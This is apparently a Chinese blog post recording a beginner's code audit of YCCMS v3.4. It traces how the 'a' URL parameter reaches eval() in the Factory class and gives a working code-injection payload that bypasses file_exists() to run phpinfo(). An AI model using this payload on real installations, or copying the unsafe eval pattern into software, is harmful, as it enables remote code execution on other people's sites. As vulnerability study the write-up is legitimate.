yccms命令执行菜鸟审计学习记录

yccms命令执行菜鸟审计学习记录

在先知社区中看到一位师傅的代码审计,正好也想学习,于是就有了这个记录。(大佬斧正)
CMS下载地址: http://ahdx.down.chinaz.com/202003/yccms_v3.4.rar

命令执行漏洞:

下载成功后拿到seay中自动审计一下。同时加到submlie中看看文件的目录结构。
在这里插入图片描述可以看出是MVC架构的。从index.php中可以看到包含了run.inc.php跟进。

<?php
//开启session
session_start();
//超时时间
@set_time_limit(0);
//设置编码
header('Content-Type:text/html;charset=utf-8');
//错误级别,报告警告之外的所有错误
error_reporting(E_ALL ^ E_NOTICE);
//设置时区
date_default_timezone_set('PRC'); 
//网站绝对根路径
define('ROOT_PATH',str_replace('\\','/',substr(dirname(__FILE__),0,-7))); 
//引入配置文件
require ROOT_PATH.'/config/config.inc.php';
//引入Smarty
require ROOT_PATH.'/public/smarty/Smarty.class.php';
//自动加载类
function __autoload($_className){
	if(substr($_className,-6)=='Action'){
		require ROOT_PATH.'/controller/'.ucfirst($_className).'.class.php';	
	}elseif(substr($_className, -5) == 'Model'){
		require ROOT_PATH.'/model/'.ucfirst($_className).'.class.php';
	}else{
		require ROOT_PATH.'/public/class/'.ucfirst($_className).'.class.php';
	}
}
//单入口
Factory::setAction()->run();
?>

代码前面主要进行初始化一些常量和配置,其中autoload函数作用是当你进行初始化类在本页面不存在时候就会自动调用autoload()函数,同时会把名字当做参数传输过去。最后执行到入口。调用Factory类的setAction()方法,并执行run()方法。
进入到Factory类中

class Factory{
	static private $_obj=null;
	static public function setAction(){
		$_a=self::getA();
		if (in_array($_a, array('admin', 'nav', 'article','backup','html','link','pic','search','system','xml','online'))) {
			if (!isset($_SESSION['admin'])) {
				header('Location:'.'?a=login');
			}
		}
		if (!file_exists(ROOT_PATH.'/controller/'.ucfirst($_a).'Action.class.php')) $_a = 'Login';
		eval('self::$_obj = new '.ucfirst($_a).'Action();');
		return self::$_obj;
	}
	
	static public function setModel() {
		$_a = self::getA();
		if (file_exists(ROOT_PATH.'/model/'.$_a.'Model.class.php')) eval('self::$_obj = new '.ucfirst($_a).'Model();');
		return self::$_obj;
	}
	static public function getA(){
		if(isset($_GET['a']) && !empty($_GET['a'])){
			return $_GET['a'];
		}
		return 'login';
	}
}

可以看到先是调用了getA()方法获取传递的参数,然后通过in_array()判断变量值是否在数组中。如果在数组中则判断是否有session标记,否则跳转到登陆页面。
接着判断文件是否存在。然后通过eval()来实例化。亮点来了,看到eval()函数,就想到命令执行漏洞。那如果想要利用eval()函数那就要绕过file_exists()函数,这样才能让$_a可控。
而file_exists()函数中可以有一些特殊的字符例如:; . /等,而当file_exists()函数遇到…/时就会返回到上一级。而file_exists()函数有个小BUG当遇到;/…/时会返回上一级且不会再判断其后的路径或文件。

payload: Factory();phpinfo();//../

其中Factory();是为了闭合前面new字符,不然程序会报错,后面紧接着执行phpinfo();函数。
eval()函数在执行时其中有多个函数,则第一个必须执行正确,第一个以后也必须是函数,但是正确与否都可以执行。

eval('phpinfo();phpinfo();fdsfsdfds'.'asdasdsa();');//成功执行
eval('asdasdsa();phpinfo();fdsfsdfds'.'asdasdsa();');//执行失败

在这里插入图片描述成功利用。

实验总结
本次实验主要掌握代码执行挖掘和利用方法。

参考文章:

https://blog.csdn.net/qq_43233085/article/details/105447576
https://xz.aliyun.com/t/7748
https://blog.csdn.net/qq_43233085/article/details/105447576

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
1.此版本采用了PHP MYSQL架构。2.创新型内容管理模式,建立频道后可定义内容模型,均在后台可以控制,非常方便。3.模板引擎采用了成熟稳定的Smarty引擎,很轻松就可以做出模板界面来。4.前台和后台均采用了DIV CSS,速度比传统型略快。5.JS采用了国际上比较流行的Jquery框架,还有基于Jquery的XHEditor可视化编辑器。6.支持基于Apache和IIS的路径优化功能,让您的网站面向搜索引擎而优化。7.单页功能:制作类似关于我们和公司介绍只要添加数据就可以实现,并且可控制访问权限。8.后台支持权限分配,减轻管理员工作负担。9.可自定义菜单导航。10.支持友情连接11.投票功能:可以控制在哪个页面显示,并且可以实现时间段显示投票,控制了一个IP只能投一次。12.广告功能:支持HTML自定义,并且可投送到想要显示的页面。13.支持内容无限分类,可详细定义自己的内容。14.制作了会员组接口,方便控制资源分配等。15.实时监控网站在线人员动向。 WeedCMS V4 正式版01.[修复]后台删除横幅出现代码问题。02.[优化]让详细页面也显示菜单选中状态。03.[优化]当前位置根据程序判断04.[优化]讨论组详细页面优化。05.[新增]增加内容顶和踩功能。06.[新增]首页增加NOTICE简单公告。07.[新增]添加了PVOD播放器播放支持。08.[修正]讨论模式不显示发布者BUG。09.[优化]解决生成缩图模糊问题。10.[优化]会员系统前台登陆部分。11.[优化]当设置为问答模式不显示在人气内容12.[新增]首页模板增加讨论模式。13.[新增]内容列表增加问答模式。14.[修正]在某些环境无法发布内容BUG15.[新增]编辑器增加表情。16.[新增]评论增加表情。17.[新增]频道控制是否可以缓存。18.[新增]显示推荐内容19.[新增]评论后台管理20.[新增]内容缩图增加外部地址

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值